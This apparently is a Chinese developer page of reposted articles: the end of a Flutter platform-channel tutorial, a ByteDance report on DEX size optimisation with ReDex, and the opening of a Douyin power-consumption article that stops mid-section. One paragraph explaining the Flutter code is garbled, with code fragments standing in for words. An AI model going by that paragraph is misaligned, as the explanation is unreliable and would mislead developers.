}

String _batteryLevel = 'Unknown battery level.';

Future<Null> _getBatteryLevel() async {
String batteryLevel;
try {
final int result = await platform.invokeMethod('getBatteryLevel');
batteryLevel = 'Battery level at $result % .';
} on PlatformException catch (e) {
batteryLevel = "Failed to get battery level: '${e.message}'.";
}

setState(() {
_batteryLevel = batteryLevel;
});
}

//客户端调用
Future<dynamic> platformCallHandler(MethodCall call) async {
switch (call.method) {
case "get_message":
return "Hello from Flutter";
break;
}
}
}

上面代码解析:
首先,定义一个常量result.success(platform),和Android客户端定义的channel一致;
接下来定义一个 result.success(_getBatteryLevel())方法,用来调用Android 端的方法,result.success(final int result = await platform.invokeMethod('getBatteryLevel');) 这行代码就是通过通道来调用Native(Android)方法了。因为MethodChannel是异步调用的,所以这里必须要使用await关键字。

在上面Android代码中我们把获取到的电量通过result.success(batteryLevel);返回给Flutter。这里await表达式执行完成以后电量就直接赋值给result变量了。然后通过result.success(setState); 去改变Text显示值。到这里为止,是通过Flutter端调用原生客户端方法。

MethodChannel 其实是一个可以双向调用的方法,在上面的代码中,其实我们也体现了,通过原生客户端调用Flutter的方法。

在原生端通过 methodChannel.invokeMethod 的方法调用

methodChannel.invokeMethod("get_message", null, new MethodChannel.Result() {
@Override
public void success(@Nullable Object o) {
Log.d(TAG, "get_message:" + o.toString());
}

@Override
public void error(String s, @Nullable String s1, @Nullable Object o) {

}

@Override
public void notImplemented() {

}
});

在Flutter端就需要给MethodChannel设置一个MethodCallHandler

static const platform = const MethodChannel('common.flutter/battery');
platform.setMethodCallHandler(platformCallHandler);
Future<dynamic> platformCallHandler(MethodCall call) async {
switch (call.method) {
case "get_message":
return "Hello from Flutter";
break;
}
}

以上就是MethodChannel的相关用法了。

EventChannel

将数据推送给Flutter端,类似我们常用的推送功能,有需要就推送给Flutter端,是否需要去处理这个推送由Flutter那边决定。相对于MethodChannel是主动获取,EventChannel则是被动推送。

EventChannel 原生客户端写法

private String EVENT_CHANNEL = "common.flutter/message";
private int count = 0;
private Timer timer;

private void initEventChannel() {
new EventChannel(getFlutterView(), EVENT_CHANNEL).setStreamHandler(new EventChannel.StreamHandler() {
@Override
public void onListen(Object arguments, EventChannel.EventSink events) {
timer.schedule(new TimerTask() {
@Override
public void run() {
if (count < 10) {
count++;
events.success("当前时间:" + System.currentTimeMillis());
} else {
timer.cancel();
}
}
}, 1000, 1000);
}

@Override
public void onCancel(Object o) {

}
});
}

在上面的代码中,我们做了一个定时器,每秒向Flutter推送一个消息,告诉Flutter我们当前时间。为了防止一直倒计时,我这边做了个计数,超过10次就停止发送。

EventChannel Flutter端

String message = "not message";
static const eventChannel = const EventChannel('common.flutter/message');
@override
void initState() {
super.initState();
eventChannel.receiveBroadcastStream().listen(_onEvent, onError: _onError);
}

void _onEvent(Object event) {
setState(() {
message =
"message: $event";
});
}

void _onError(Object error) {
setState(() {
message = 'message: unknown.';
});
}

上面的代码就是Flutter端接收原生客户端数据,通过_onEvent 来接收数据,将数据显示Text。这个实现相对简单,如果要达到业务分类,需要将数据封装成json,通过json数据包装一些对应业务标识和数据来做区分。

BasicMessageChannel

BasicMessageChannel (主要是传递字符串和一些半结构体的数据)

BasicMessageChannel Android端

private void initBasicMessageChannel() {
BasicMessageChannel<Object> basicMessageChannel = new BasicMessageChannel<>(getFlutterView(), BASIC_CHANNEL, StandardMessageCodec.INSTANCE);
//主动发送消息到flutter 并接收flutter消息回复
basicMessageChannel.send("send basic message", (object)-> {
Log.e(TAG, "receive reply msg from flutter:" + object.toString());
});

//接收flutter消息 并发送回复
basicMessageChannel.setMessageHandler((object, reply)-> {
Log.e(TAG, "receive msg from flutter:" + object.toString());
reply.reply("reply:got your message");

});

}

BasicMessageChannel Flutter端

  static const basicChannel = const BasicMessageChannel('common.flutter/basic', StandardMessageCodec());
//发送消息到原生客户端 并且接收到原生客户端的回复
Future<String> sendMessage() async {
String reply = await basicChannel.send('this is flutter');
print("receive reply msg from native:$reply");
return reply;
}

//接收原生消息 并发送回复
void receiveMessage() async {
basicChannel.setMessageHandler((msg) async {
print("receive from Android:$msg");
return "get native message";
});

上面例子中用到的编解码器为StandardMessageCodec ,例子中通信都是String,用StringCodec也可以。

以上就是Flutter提供三种platform和dart端的消息通信方式。

本文转载自: https://www.jianshu.com/p/1f12e53f5fb3
收起阅读 »

抖音 Android 包体积优化探索:基于 ReDex 的 DEX 优化落地实践

抖音是字节跳动规模最大、运行环境复杂度最高的应用之一。在 ReDex 落地初期,由于对复杂度估计不足,在独立灰度和全量灰度期间引起了一些问题,在解决问题的过程中,我们也逐步形成了一套迭代流程以保证优化的稳定性。前言应用安装包的体积会显著影响应用的下载速度和安装...
继续阅读 »

抖音是字节跳动规模最大、运行环境复杂度最高的应用之一。在 ReDex 落地初期,由于对复杂度估计不足,在独立灰度和全量灰度期间引起了一些问题,在解决问题的过程中,我们也逐步形成了一套迭代流程以保证优化的稳定性。

前言

应用安装包的体积会显著影响应用的下载速度和安装速度,按照 Google 的经验数据,包体积每增加 1M 会造成 0.17%的新增折损。抖音的一些实验也证明了包体积会显著影响下载激活的转化率。

Android 的安装包是 APK 格式的,在抖音的安装包中 DEX 的体积占比达到了 40%以上,所以针对 DEX 的体积优化是一种行之有效的包体积优化手段。

DEX 本质上是由 Java/Kotlin 代码编译而成的字节码,因此,针对字节码进行业务无感的通用优化成为我们的一个探索方向。

优化结果

终端基础技术团队和抖音基础技术团队在过去的一年里,利用 ReDex 在抖音包体积优化方面取得了一些明显的收益,这些优化也被同步到了其他各大 App 上。

在抖音、头条和其他应用上,我们的优化对 APK 体积的缩减普遍达到了 4%以上,对 DEX 体积的缩减则可以达到 8% ~ 10%

优化思路

在 android 应用的构建过程中,Java/Kotlin 代码会先被编译成 Class 字节码,在这个阶段 gradle 提供了 Transformer 可以进行字节码的自定义处理,很多插件都是在这个阶段处理字节码的。然后,Class 文件经过 dexBuilder/mergeDex 等任务的处理会生成 DEX 文件,并最终被打进安装包中。整个过程如下所示:


所以,针对字节码的优化是有 2 个时机可以进行的:

  • 在 transformer 阶段对 Class 字节码进行优化

  • 在 DEX 阶段对 DEX 文件进行优化

显然,对 DEX 进行优化是更理想的一种方式,因为在 DEX 文件中,除了字节码指令外,还存在跨 DEX 引用、字符串池这样的结构,针对这些 DEX 格式的优化是无法在 transformer 阶段进行的。

在确定了针对 DEX 文件进行优化的思路后,我们选择了 facebook 的开源框架 ReDex 作为优化工具,并对其进行了定制开发。

选择 ReDex 的原因是它提供了丰富的基础能力,ReDex 的基础能力包括:

  1. 读写及解析 DEX 的能力,同时可以在一定程度上读取并解析 xml 和 so 文件

  2. 解析简单的 proguard keep 规则并匹配类/方法/成员变量的能力

  3. 对字节码进行数据流分析的能力,提供了常用的数据流分析算法

  4. 对字节码进行合法性校验的能力,包括寄存器检查、类型检查等

  5. 一系列的字节码优化项,每项优化称为一个 pass,多个 pass 组成 pipeline 对 DEX 进行优化


我们基于这些能力进行了定制和扩展,并期望最终建立完善的优化体系。

优化项

在抖音落地的优化项,包括 facebook 开源的优化和我们自研的优化,从其出发点来看,可以大致分为下面几种:

  • 通用字节码优化:通常意义下的编译优化,如常量传播、内联等,一般也可在 Transformer 阶段实现

  • DEX 格式优化:DEX 中除了字节码指令外,还包括字符串池、类/方法引用、debug 信息等等,针对这些方面的优化归类为 DEX 格式优化

  • 针对编程语言的优化:Java/Kotlin 的一些语法糖会生成大量字节码,可以对这些字节码进行针对性的分析和优化

  • 提升压缩率的优化:将 DEX 打包成 APK 实质上是个压缩的过程,对 DEX 内容进行针对性的优化可以提升压缩率,从而产生体积更小的 APK

这几种优化没有明确的标准和界线,有时一个 Pass 会涉及到多种,下面详细介绍一下各项优化。

通用字节码优化

ConstantPropagationPass

该 Pass 实际上包含了常量折叠和常量传播。

常量折叠是在编译期简化常量的过程,比如

复制

y = 7 - 14 / 2
--->
y = 0

常量传播是在编译期替代指令中已知常量的过程,比如

int x = 14;
int y = 7 - x / 2;
return y * (28 / x + 2);
--->
int x = 14;
int y = 7 - 14 / 2;
return (7 - 14 / 2) * (28 / 14 + 2);

上面的例子经过 常量折叠 + 常量传播优化后就会简化为

int x = 14;
int y = 0;
return 0;

再经过死代码删除就可以最终变为return 0。

具体的优化过程是:

  1. 对方法进行数据流分析,主要针对 const/move 等指令,得出一个寄存器在某个位置可能的取值

  2. 根据分析的结果,进行指令替换或指令删除,包括:

  • 如果值肯定是非空的,可以将对应的判空去掉,比如 kotlin 生成的 null check 调用

  • 如果值肯定为空,可以将指令替换为抛空异常

  • 如果值肯定让某 if 分支走不到,可以删除对应的分支

  • 如果值是固定的,可以用 const 指令替换对应的赋值或计算指令

一个方法经过 ConstantPropagationPass 优化后,可能会产生一些死代码,比如例子中的int y = 0,这也为后续的死代码删除创造了条件。

AnnoKillPass

该 Pass 是用来移除无用注解的。注解主要分为三种类型:

  • SOURCE:java 源码编译为 class 字节码就不可见,此类注解一般不用过于关注

  • CLASS:字节码通过 dx 工具转成 DEX 就不可见,代码运行时不需要获取信息,所以一般来说也不需要关注,实测发现部分注解仍然存在于 DEX 中,这部分注解可以进行优化

  • RUNTIME:DEX 中仍然可见,代码运行中可以通过 getAnnotations 等接口获取注解信息,但是随着业务的迭代,可能获取注解信息的代码已经去掉,注解却没有下掉,这部分注解会被 ReDex 安全的移除

除此之外,实际上为了支持某些系统特性,编译器会自动生成系统注解,虽然注解本身是 RUNTIME 类型,但是可见性是VISIBILITY_SYSTEM

  • AnnotationDefault : 默认注解,不能删除

  • EnclosingClass : 当前内部类申明时所在的类

  • EnclosingMethod : 当前内部类申明时所在的方法

  • InnerClass : 当前内部类名称

  • MemberClasses : 当前类的所有内部类列表

  • MethodParameters : 方法参数

  • Signature : 泛型相关

  • Throws : 异常相关

举例说明


编译器生成 1MainApplication$1这个匿名内部类,带有 EnclosingMethod 和 InnerClass 注解


系统提供以下接口获取类相关的信息,就是通过分析相关的系统注解来实现的

  • Class.getEnclosingMethod

  • Class.getSimpleName

  • Class.isAnonymousClass

  • ....

如果代码中不存在使用这些接口获取类信息的逻辑,就可以安全的移除这部分注解,从而达到缩减包大小的目的。

RenameClassesPass

该 Pass 通过缩减类名的字符串长度来减小包体积

比如把类名从La/b/c/d/e;改为LX/a;,可以类名字符串的长度,从而达到包大小缩减的目的。实际上 Proguard 本身已经提供类似的功能: -repackageclasses 'X',效果如下:


但是-repackageclasses 'X'的处理会影响 ReDex 的 InterDexPass 的算法逻辑(InterDexPass 可以参考下文),导致收益缩减

  • 收益测试

  • Proguard-repackageclasses 'X' 收益: 600K+

  • RedexInterDexPass 收益: 400K+

  • 同时应用 Proguard-repackageclasses 'X' 和 RedexInterDexPass 收益: 40K+

本质原因在于 Proguard 重命名后,影响了 InterDexPass 函数引用权重分配,导致 InterDex 收益被回收

  • 解决方案

  • InterDexPass 深入分析原理,优化权重算法

  • 先执行 InterDexPass,后执行类似 Proguard 的-repackageclasses 'X'

权重算法优化相对来说比较复杂,同时存在众多不可确定性,比如潜在的跟其他优化的冲突,所以我们采取了第二种解决方案。

这里需要解决的一个关键点在于如何确定一个类名是否可以被安全的重命名,我们采取了一个比较取巧的方式,ReDex 会分析 Proguard 传递上来 mapping.txt 文件,只要我们保持跟 Proguard 类重命名优化一样的处理策略,就不会引发反射/native 调用/序列化等一系列问题。


但是执行起来还是碰到各种千奇百怪的问题,比如 Signature 系统注解失效问题。Signature 注解的内容是非标准的类名格式,所以类重命名后简单回写字符串或者更新 Type 类型会导致 Signature 注解失效,最后通过深入解析 Signature 格式规避了这个问题。

StringBuilderOutlinerPass

该 Pass 是针对 StringBuilder 的 CallSites 进行分析缩略的优化,与死代码删除搭配使用可以有不错的优化效果。

为何要优化 StringBuilder 呢?在 Java 的代码开发过程中,字符串操作几乎是我们最经常做的一件事情,无论是实际处理字符串拼接还是各种不同数据类型之间的拼接操作。而这些拼接操作都会被 Java 的 de-sugar 优化为 StringBuilder 操作。比如:var log = "A" + 1 + "B" + 1.0f + other_var; 会被优化为:

StringBuilder builder = new StringBuilder();
builder.append("A"); builder.append(1);
builder.append("B"); builder.append(1.0f);
builder.append(other_var);
builder.toString();

因此我们对 StringBuilder 的所有 Callsites 进行分析,在最好情况下多个方法调用可以被优化为一个调用,这个方法是一个 outline (外联)方法,具体的参数拼接和 toString 被隐藏在函数内部:

invoke-static {v1, v2, v3} Outline;.bind:([Ljava/lang/Object)Ljava/lang/String;

优化步骤可以被简单的分为如下几个步骤:

  1. 生成一个泛型的外联方法、以及数个特定参数的方法:我们可以认为生成的方法大概是这样的

@Keep
public static String bind(Object... args) {
  StringBuilder builder = new StringBuilder();
  for (int i = 0; i < args.length ; i++) {
      builder.append(args[i]);
  }
  return builder.toString();
}
  1. 收集StringBuilder 的 CallSites :通过抽象解释和不动点分析,分析所有的 StringBuilder 操作,对 append、new-instance、和 init 方法分类。判断每次 append 的参数是不是 immutable 操作,如果增加的 insn 少于减少的 insn 即会减少代码,就对这里进行处理。

  2. 生成外联方法调用:由于我们使用了泛型方法来接受参数,因此我们要对基础类型生成 ValueOf 的转换操作、并且删除append 方法前为了防止被错误优化我们还需要插入 move 指令来 copy 原有参数(这些 move 指令会被后续优化正确删除)、如果参数个数还在我们生成的特定 outline 方法范围内我们就可以使用特定方法来生成外联函数,其余的将使用泛化的外联来接受。

DEX 格式优化

InterDexPass

该 Pass 是针对跨 DEX 引用的优化。

跨 DEX 引用是指当一个 DEX 需要“使用”到另一个 DEX 中的类/方法/变量时,需要在本 DEX 中保存一份对应的类/方法/变量的 id,如果 2 个 DEX 用到了相同的字符串,那么这个字符串在 2 个 DEX 都需要进行定义。所以,改变类/方法/变量和字符串在 DEX 中的分布,可以减小引用的数量,从而减小 DEX 的体积。从原理中也可以看出,该优化对单 DEX 的应用是无效的。


从上图可以看到,进行类重排后,DEX0 的类引用和方法引用数量都减少了,DEX 的体积也会因此减小。

具体的优化过程是:

  1. 收集每个类涉及的所有引用,按照引用数量和类型计算出类的权重

  2. 根据权重计算出每个类的优先级

  3. 根据优先级选取一个类放入 DEX 中,然后调整剩余类的优先级,重复此步骤直到所有类都被处理

ReBindRefsPass

该 Pass 是针对方法引用的优化,其原理同 InterDexPass。

在字节码中,invoke-virtual/interface指令需要一个方法引用,在很多情况下,这个引用指向的是子类或者实现类的引用,把这个引用替换成父类和接口的方法引用不会影响运行时逻辑,同时会减少 DEX 中方法引用的数量。在生成 DEX 的时候,方法引用的 65536 限制通常是最先遇到的瓶颈,该优化也可以缓解这种情况。


如上图所示,优化前 caller 方法的 invoke 指令使用的是子类引用,其伪指令如下所示,需要用到 2 个引用

new-instance v0, Sub1
invoke-virtual v0, Sub1.a()
new-instance v1, Sub2
invoke-virtual v1, Sub2.a()

优化后,invoke 指令都指向其父类应用,2 个引用可以合并为 1 个,减少了 DEX 中的引用数量

new-instance v0, Sub1
invoke-virtual v0, Base.a()
new-instance v1, Sub2
invoke-virtual v1, Base.a()

针对编程语言的优化

KotlinDataClassPass

该 Pass 是对 Kotlin data class 的优化,基本思路是对 data class 的生成代码进行精简。

解构声明优化

Kotlin 中存在解构声明这种语法,可以更方便的创建多个变量,基本用法如下

data class Person(val name: String,val age: Int)
val (name,age) = person("John",20)

kotlinc 会为Person类生成 get 方法和 componentN 方法,如下是伪代码表示

Person {
    String name;
    Int age;

    getName(): String { return name; }
  getAge(): Int { return age; }
    component1(): String { return name; }
    component2(): Int { return age; }
}

// 解构声明编译为
val name = person.component12 1()
val age = person.component2()

可以看到,get 和 component 的逻辑是一样的,所以在编译期,可以进行全局的匹配,用 get 替换掉 component,然后再删除 component。

toString 等生成方法优化

kotlin compiler 为 data class 生成的 toString 具有相似的代码结构,因此可以生成一个辅助方法,然后在所有 data class 的 toString 方法中调用这个辅助方法,即外联,从而减少指令数量。

equals 和 hashCode 也可以进行类似优化,但是风险相对较高,因此单独为这些优化配置了开关,业务方可以视情况开启。

提升压缩率的优化

RegAllocPass

DEX 及其他文件经过压缩打成 APK,如果能通过改变 DEX 的内容来提升压缩率,那么也会减小最终的包体积。RegAllocPass 就是通过重新分配寄存器来提升压缩率的。

dx 生成 DEX 时使用的是线性寄存器分配算法,其基本步骤是进行存活变量分析,然后计算出每个变量的活跃区间,再根据活跃区间依次为变量分配寄存器,超出活跃区间的寄存器可以进行再分配,其优点是运行速度快,但结果往往不是最优的。

比如下面的代码,dx 分配了 6 个寄存器,v0 ~ v5

public static double calculateLuminance(@ColorInt int color) {
  final double[] result = getTempDouble3Array();
    colorToXYZ(color,result);
  return result[1] / 100;
}


相对的,ReDex 使用了图着色算法进行寄存器分配,基本步骤是进行存活变量分析,并构建冲突图,冲突图的每个节点是一个变量,如果 2 个变量可以同时存活,就在两个节点之间建立边,最后为冲突图着色,每个颜色代表一个寄存器,着色完成即寄存器分配完成。着色法相对更慢,结果一般更优。对上面同样的代码,着色法使用了 4 个寄存器,v0 ~ v3。


DEX 中的方法使用的寄存器越少,其内容重复率就越高,压缩率也会更大,从而减小了包体积。

抖音落地

抖音是字节跳动规模最大、运行环境复杂度最高的应用之一。在 ReDex 落地初期,由于对复杂度估计不足,在独立灰度和全量灰度期间引起了一些问题,在解决问题的过程中,我们也逐步形成了一套迭代流程以保证优化的稳定性。下面介绍一下我们遇到过的典型问题及当前的迭代流程。

遇到的问题

兼容性问题

一般来说,只要按照字节码规范进行优化,就不会有兼容性问题,因为 dalvik/art 也是按照规范去校验和运行字节码的,即使进行了错误的优化,引起的问题也应该是共性问题。但很多事都有例外,ReDex 就在某品牌手机的部分 Android 5.x 的机型上遇到了问题。

从 log 和一些 hook 来看,某品牌手机对 5.x 的 art 做了大量的魔改,可以推断其魔改存在一些问题,导致对正确的字节码的校验和运行也可能出现问题。一个可能的原因是:在 ReDex 进行优化时,会对一些方法体的指令顺序进行重排,这种重排是不影响方法的逻辑的,但是可能会改变一部分指令,魔改后的 art 在校验这样的方法时可能会报 verify error,引起 crash。

最终通过黑名单配置跳过了这些方法的优化规避了问题,在后续的优化过程中,没有再遇到类似的问题。

复杂场景优化问题

抖音业务复杂,代码写法多样,给静态分析和优化增加了一些难度,也更容易遇到问题。下面是 2 个典型问题:

1.空方法优化问题 代码中可能存在一些空方法,排除掉反射和 natvie 调用等场景后,剩下的空方法应该是可以删除的。但是在做优化时,却遇到了 crash,如以下代码

object XXXSDKHelper {
  init {
      initXXXSDK()
    }
    fun fakeInit() {
    }
}

// 初始化任务
public class XXInitTask implements Runnable {
    @Override
  public void run() {
        XXXSDKHelper.INSTANCE.fakeInit();
    }
}

在初始化代码中调用fakeInit,它是一个空方法,调用它的目的是触发XXSDKHelper类加载从而执行init语句块,如果删除了这个空方法,就会导致初始化未执行,在后续的流程中抛空指针。

2.复杂反射问题

对于 Class.forname(...)等简单的反射用法,静态分析是可以分析出来的,但是对一些经过字符串拼接或者嵌套之后的反射,静态分析很难分析到。因此,对可能会被反射的代码进行优化需要非常小心,通常来说,匿名内部类是不会通过反射调用的,基于此前提,我们进行了匿名内部类的重命名优化,但是在灰度后,发现某些第三方 SDK 会通过复杂的运行时逻辑对匿名内部类进行了反射调用,最终导致了 ClassNotFoundError。

复杂场景的优化问题有些是业务代码不规范造成的,但更多的是优化前提(空方法可以删除/匿名内部类不会被反射)不成立所导致,所以在进行优化时首先需要对假设进行谨慎的验证。

迭代流程

为了减少稳定性问题,我们总结了 ReDex Pass 的迭代流程。

在对一项 Pass 有了初步构思后,组内会进行可行性讨论,如果理论上可行就进入开发和验证阶段,之后同步进行至少 2 轮的独立灰度验证和业务方 Pass 评审,最后进行全量灰度验证。其中任意一个环节发现问题,都会重新进行整个流程。


通过这个流程,我们大大减少了稳定性问题遗留到灰度阶段的可能,在不断完善迭代流程的同时我们也在探索通过加强单元测试、自动化测试等方式来提升质量。

后续规划

ReDex 仍然在持续迭代中,未来我们会在以下几个方向继续进行深入探索:

  1. 更多包体积优化的探索和迭代,同时探索字节码优化在性能提升方面的可能性

  2. 提升字节码质量

  • 更加严格的合法性校验;ReDex 之前已经检测出若干自定义插件和 proguard 的问题,将问题拦截在了编译期,后续会继续提升该能力

  • 建立更加完善的质量验证体系;ReDex 作为编译期的全局字节码优化方案,如果保证优化后的字节码质量一直是个痛点,我们会继续在单元测试、自动化测试等方向探索质量提升的手段

  1. 增加编译期监控,更加快速便捷的解决编译期字节码问题,提升接入体验

  2. 其他应用方向探索;如方法插桩、某些条件下的死代码扫描等。

作者 | 冯瑞;廖斌斌;刘丰恺

来源:https://www.51cto.com/article/710484.html

收起阅读 »

抖音功耗优化实践

功耗优化是应用体验优化的一个重要课题,高功耗会引发用户的电量焦虑,也会导致糟糕的发热体验,从而降低了用户的使用意愿。而功耗又是涉及整机的长时间多场景的综合性复杂指标,影响因素很多。不论是功耗的量化拆解,还是异常问题的监控,以及主动的功耗优化对于开发人员来说都是...
继续阅读 »

功耗优化是应用体验优化的一个重要课题,高功耗会引发用户的电量焦虑,也会导致糟糕的发热体验,从而降低了用户的使用意愿。而功耗又是涉及整机的长时间多场景的综合性复杂指标,影响因素很多。不论是功耗的量化拆解,还是异常问题的监控,以及主动的功耗优化对于开发人员来说都是很有挑战性的。

本文结合抖音的功耗优化实践中产出了一些实验结论,优化思路,从功耗的基础知识,功耗组成,功耗分析,功耗优化等几个方面,对 Android 应用的功耗优化做一个总结沉淀。

功耗基础知识介绍

首先我们回顾一下功耗的概念,这里比较容易和能耗搞混。解释一下为什么手机上用mA(电流值)来表征功耗水平,用 mAh(物理意义上是电荷值)来表征能耗水平。我们先来看几个物理公式。

P = I × U, E = P × T

能耗(E):即能量损耗,指计算机系统一段时间内总的能量消耗,单位是焦耳(J)

功耗(P):即功率损耗,指单位时间内的能量消耗,反映消耗能量的速率,单位是瓦特(W)

电流(I):指手机电池放电的电流值,手机常用 mA 为单位

电压(U):指手机电池放电的电压值,标准放电电压 3.7V,充电截止电压 4.35V,放电截止电压 2.75V(以典型值举例,不同设备的电池电压数值有差异)

电池容量 :常用单位 mAh,从单位意义上看是电荷数,实际表征的是电池以典型电压放电的时长。
如下面的功耗测试图所示,手机通常以恒定的典型电压工作,为了计算方便,就把电压恒定为 3.7V,那么 P = I × 3.7, E = I × 3.7 × T,即用 mA 表征功耗,mAh 表征能耗。

总结:对同一机型,我们用电池容量(mAh)变化的来表征一段时间总能耗,用平均电流(mA)来表征功耗水平;如 4000mAh 电池的手机刷抖音 1 小时耗电 11%,耗电量(能耗)440mAh,平均电流 440mA

56b1d8fa1453546f4ae73c83cc8b43e3.png图 1. 功耗测试图

为什么要做功耗优化

从摘要里我们已经了解到高功耗会引发用户的电量焦虑,也会导致糟糕的发热体验,从而降低了用户的使用意愿。优化功耗除了可以我们带来更好的用户体验,提升用户使用时长外,降低应用耗电还具有很明显的社会价值,用一个当前比较火的词,就是可以为碳中和事业贡献一份力量。

如何来做功耗优化

不同于 Crash、ANR 等常见的 APM 指标,功耗是一个综合性的课题,分析起来很容易让人无从下手。用户反馈了耗电问题,可能是 CPU 出现高负载,又或者是后台频繁的网络访问,也可能是动画泄漏导致高功耗。或者我们自己的业务没什么变化,单纯就是环境因素影响,导致用户觉得耗电,比如低温导致的锂电池放电衰减。

我们的思路是从器件出发,应用的耗电最终都可以分解为手机器件的耗电,所以我们先对抖音做器件耗电的拆解,看主要耗电的是哪些器件,再看如何减少器件的使用,这样就做到有的放矢。

下面我们先从功耗组成,功耗分析,以及功耗优化等方面来讲述如何开展功耗优化。

功耗组成

74009e91e4e5746fc8ad1aa005259636.png

这里列举了手机硬件的基本形态,每个模块又是由复杂的器件构成。如我们常说的耗电大头 SoC 里就包含 CPU 的超大核,大核,小核,GPU,DDRC(内存接口),以及外设区的各种小 IP 核等。所以整机的功耗最终就可以拆解为各个器件的功耗,而应用的功耗就是计算其使用的器件产生的功耗。

以抖音的 Feed 流场景为例,亮度固定 120nit、7 格音量、WiFi 网络下,我们对抖音做了器件级的功耗拆解。可以看到抖音的 feed 功耗主要集中在 SOC(CPU,GPU,DDR),Display,Audio,WIFI 等四个模块。

3b4e51733501d0a2ed954100adecc27b.png

器件功耗计算

那这些器件功耗是如何被拆解出来的呢?原理是:先对器件进行耗电因子拆解,建立器件功耗模型,得到一个器件耗电的计算公式。通过运行时统计器件的使用数据,代入功耗模型,就可以计算出器件的功耗。应用的功耗则是从器件的总功耗里按应用使用的比较进行分配,这样就得到了应用的器件耗电。由于影响器件功耗的耗电因子众多,这里复杂的就是如何对耗电因子进行拆解以及建模。有了精准的建模,后面就是厂商适配校准参数的过程了。

谷歌提供了一套通用的器件耗电模型和配置方案,OEM 厂商可以按通用方案对自己的产品进行参数校准和配置。如下图里 AOSP 里的耗电配置里,以 Wifi 的耗电计算为例。https://source.android.com/devices/tech/power/values

8e4128e236778f64ff6f8b04c5841d32.png 856eea8e637b57bd63189a5c0fb54d6e.png

谷歌提供的建模方案是对 WIFI 分状态计算耗电,WIFI 不同状态下的耗电差异非常明显。这里分为了 wifi.on(对应 wifi 打开的基准电流), wifi.active(对应 wifi 传输数据时的基准电流), wifi.scan(对应 wifi 单次扫描的基准耗电), wifi 数据传输的耗电(controller.rx,controller.tx, controller.idle)。根据 wifi 收发数据的那计算 wifi 的耗电,通过统计这几个状态的时长或次数,乘以对应的电流,就得到 wifi 器件的耗电了。

由于谷歌是按照通用性来设计的器件耗电模型,通常只能大致计算出器件的耗电水平,具体到某个产品上可能误差很大。各 OEM 厂商通常有基于自身硬件的耗电统计方案,可以对耗电做更加精细准确的计算。这里还用 wifi 举例:如 OEM 厂商可以分别按照 2.4G,5GWIFI 单独建模,并引入天线信号的变化对应的基准电流变化,以及统计 wifi 芯片所工作的频点时长,按频点细化模型等等,OEM 厂商可以设计出更符合自己设备的精准功耗模型,计算出更精准的 wifi 耗电。这就要根据具体产品的硬件方案来确定了。

功耗分析

通过上面的功耗组成的介绍,我们可以看到功耗影响因素是多种多样。在做应用功耗分析时,我们既要有方法准确评估应用的耗电水平,又要有方法来分解出耗电的组成,以找到优化点。下面就分为功耗评估和功耗归因分析这两部分来介绍。

功耗评估

如前文功耗基础知识里所说,我们使用电流值来评估应用的功耗水平。在线下场景,我们通过控制测试条件(如固定测试机型版本,清理后台,固定亮度,音量,稳定的网络信号条件等)来测得可信的准确电流值来评估应用的前后台功耗。在线上场景,由于应用退后台时,用户使用场景的复杂性(指用户运行的前台应用不同),我们只采集前台整机电流来做线上版本监控,使用其他指标,如后台 CPU 使用率来监控后台功耗。下面我们介绍一些常用功耗评估的手段。

PowerMonitor

目前业界最通用的整机耗电评估方式是通过 PowerMonitor 外接电量计的方式,高频率高精度采集电流进行评估。常用需要精细化确认耗电情况,尤其是后台静置,灭屏等状态下的电流输出,厂商的准入测试等。常用的 Mosoon 公司的 PowerMonitorAAA10F,电流量程在 1uA ~ 6A 之间,电流精度 50uA,采样周期 200us (5KHZ)。

1f8375ab851431fd1c69e252748f8923.png

电池电量计

PowerMonitor 虽然测量结果最准确。但是需要拆机比较麻烦。我们还可以通过谷歌 BatteryManager 提供的接口直接读取电池电量计的统计结果来获得电流值。

电池电量计负责估计电池容量。其基本功能为监测电压,充电/放电电流和电池温度,并估计电池荷电状态(SOC)及电池的完全充电容量(FCC)。有两种典型的电量计:电压型电量计和电流型电量计,目前手机上使用的电量计主要是电流型电量计。

  • 电压型电量计:简单讲就是检测当前电压,然后查询电压-电池容量对应表,获得电量估算

  • 电流型电量计:也叫库仑计,原理是在电池的充电/放电路径上的连接一个检测电阻。ADC 量测在检测电阻上的电压,转换成电池正在充电或放电的电流值。实时计数器(RTC)则提供把该电流值对时间作积分,从而得知流过多少库伦。

a69d07da70d94ebb4e9a321d61d3addf.png

Android 提供了 BMS 的接口,通过属性提供了电池电量计的统计结果

  • BATTERY_PROPERTY_CHARGE_COUNTER 剩余电池容量,单位为微安时

  • BATTERY_PROPERTY_CURRENT_NOW 瞬时电池电流,单位为微安

  • BATTERY_PROPERTY_CURRENT_AVERAGE 平均电池电流,单位为微安

  • BATTERY_PROPERTY_CAPACITY 剩余电池容量,显示为整数百分比

  • BATTERY_PROPERTY_ENERGY_COUNTER 剩余能量,单位为纳瓦时

import android.os.BatteryManager;
import android.content.Context;
BatteryManager mBatteryManager = (BatteryManager)Context.getSystemService(Context.BATTERY_SERVICE);
Long energy = mBatteryManager.getLongProperty(BatteryManager.BATTERY_PROPERTY_ENERGY_COUNTER);
Slog.i(TAG, "Remaining energy = " + energy + "nWh");

以下面的 Nexus9 为例,该机型使用了 MAX17050 电流型电量计,解析度 156.25uA,更新周期 175.8ms。

069b692c3798cce7926c8d1f663c878c.png

从实践结果上看,由于不同的手机使用的电量计不同,导致直接读取出来的电流值单位也不同,需要做数据转化。为了简化电池数据的获取,我们开发了 Thor SDK,只保留电流、电压、电量等指标的采集过程,针对不同机型做了数据归一处理,用户可以不用关心内部实现,只需要提供需要采样的数据类型、采样周期就可以定时返回所需要的功耗相关的数据,我们用 Thor 对比 PowerMonitor 进行了数据一致性的校验,误差<5mA,满足线上监控需求。

此外我们做了 Thor 采集功能本身的功耗影响,可以看到 1s 采集 1 次的情况下,平均电流上涨了 0.59mA,所以说这种方案的功耗影响非常低,适合线上采集电流值。

ae60a2f641bd750eae5f2bcc67bbc61d.png

厂商自带耗电排行

耗电排行

厂商提供的耗电排行也可以用来查看一段时间内的应用耗电情况。如下面华为的耗电排行里,对硬件和软件耗电进行了分拆,并给出了应用的具体耗电量。其他厂商 OV 也是支持具体的耗电量,小米则是提供耗电占比,并不会提供具体耗电量。

入口:设置->电池->耗电排行

0ff8e33b865fb9b7f3200f033d5387d7.png

功耗归因

